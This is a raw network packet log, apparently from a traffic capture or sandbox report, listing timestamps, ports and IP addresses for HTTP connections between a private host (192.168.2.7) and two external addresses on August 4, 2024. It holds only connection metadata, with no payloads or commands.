Aug 4, 2024 10:57:59.587979078 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588016033 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588027954 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588051081 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588083982 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588103056 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588141918 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588175058 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588191032 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588208914 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588243008 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588268042 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588299036 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588346958 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588349104 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588386059 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588418961 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588435888 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588453054 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588507891 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588509083 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588545084 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588577032 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588593960 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588609934 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588661909 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588690996 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588696003 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588731050 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588742971 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588767052 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588799953 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588814020 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588840961 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588874102 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588901043 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588908911 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588943005 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.588975906 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.588977098 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589010954 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589045048 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589078903 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589086056 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589086056 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589112997 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589148045 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589185953 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589195013 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589221954 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589234114 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589276075 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589309931 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589342117 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589355946 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589381933 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589394093 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589427948 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589461088 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589477062 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589495897 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589534998 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589548111 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589570999 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589605093 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589631081 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589637995 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589673042 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589680910 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589708090 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589741945 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589751005 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589776993 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589833975 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589859962 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589873075 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589924097 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589935064 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.589961052 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.589993954 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590019941 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590027094 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590061903 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590096951 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590105057 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590126991 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590161085 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590173960 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590197086 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590230942 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590230942 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590267897 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590301991 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590317965 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590337038 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590348959 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590369940 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590404987 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590415955 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590440989 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590476036 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590568066 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590574026 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590609074 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590642929 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590657949 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590677023 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590686083 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590713024 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590747118 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590760946 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590784073 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590818882 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590828896 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590853930 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590888023 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590903044 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.590922117 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590955019 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:59.590992928 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:59.639631987 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:58:00.094162941 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094227076 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094281912 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094309092 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:58:00.094320059 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094378948 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094408989 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094441891 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094455957 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:58:00.094479084 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094510078 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:58:00.094513893 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094538927 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:58:00.094552994 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094587088 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094599962 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:58:00.094628096 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094724894 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.094790936 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:58:00.094809055 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:58:00.102010965 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:58:00.102111101 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:58:01.284394026 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:01.289983034 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:01.290072918 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:01.290200949 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:01.295044899 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.501460075 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.501529932 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.501585960 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.501590014 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.501645088 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.501678944 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.501693964 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.501714945 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.501748085 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.501759052 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.501782894 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.501821041 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.501832008 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.501857042 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.501921892 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.507713079 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.507821083 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.507880926 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.848990917 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.849056005 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.849090099 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.849123001 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.849150896 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.849167109 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.849193096 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.849359035 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.849396944 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.849447012 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.849451065 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.849486113 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.849520922 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.849530935 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.849616051 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.850398064 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.850452900 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.850486040 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.850516081 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.850522041 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.850565910 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:02.935390949 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:02.983391047 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.195950031 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196022034 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196057081 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196094990 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196126938 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196151018 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.196162939 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196229935 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.196244001 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196279049 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196290016 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.196580887 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196638107 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196649075 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.196672916 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196677923 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.196707964 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196759939 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.196762085 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196795940 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.196845055 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.197571039 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.197623968 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.197657108 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.197690010 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.197720051 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.197729111 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.197743893 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.197758913 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.197861910 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.543097973 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.543179035 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.543211937 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.543265104 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.543267012 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.543301105 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.543335915 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.543358088 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.543369055 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.543390036 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.543406010 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.543620110 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.543684006 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.543737888 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.543772936 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.543807030 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.544008017 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544064999 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.544079065 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544128895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544163942 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544199944 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544207096 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.544235945 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.544595003 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544663906 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544715881 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544753075 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544765949 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.544799089 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.544804096 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544845104 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544878006 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544894934 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.544917107 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.544965982 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.890317917 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890394926 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890429020 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890464067 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890501976 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.890522003 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890551090 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.890592098 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890625954 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890661001 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890681982 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.890697002 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890706062 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.890734911 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890841961 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890892982 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.890894890 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890928984 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.890974998 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.890983105 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.891016960 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.891031981 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.891088009 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.891123056 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.891141891 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.891159058 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.891192913 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.891206980 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.891829014 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.891885996 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.891921043 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.891941071 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.891957045 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.891957045 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.891989946 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:03.895852089 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:03.976897001 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.030278921 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.237628937 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.237699986 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.237751961 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.237788916 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.237808943 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.237826109 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.237842083 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.237862110 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.237896919 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.237901926 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.238063097 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238106966 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.238137960 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238193989 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238234043 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.238235950 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238269091 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238306046 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238334894 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.238461971 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238497972 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238512993 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.238552094 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238588095 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238606930 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.238622904 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238655090 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238691092 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.238696098 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.238821030 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.239217997 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.239250898 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.239308119 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.239340067 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.239360094 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.239377022 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.239387035 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:04.239411116 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.239449978 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:04.239491940 CEST	49758	80	192.168.2.7	27.221.16.149
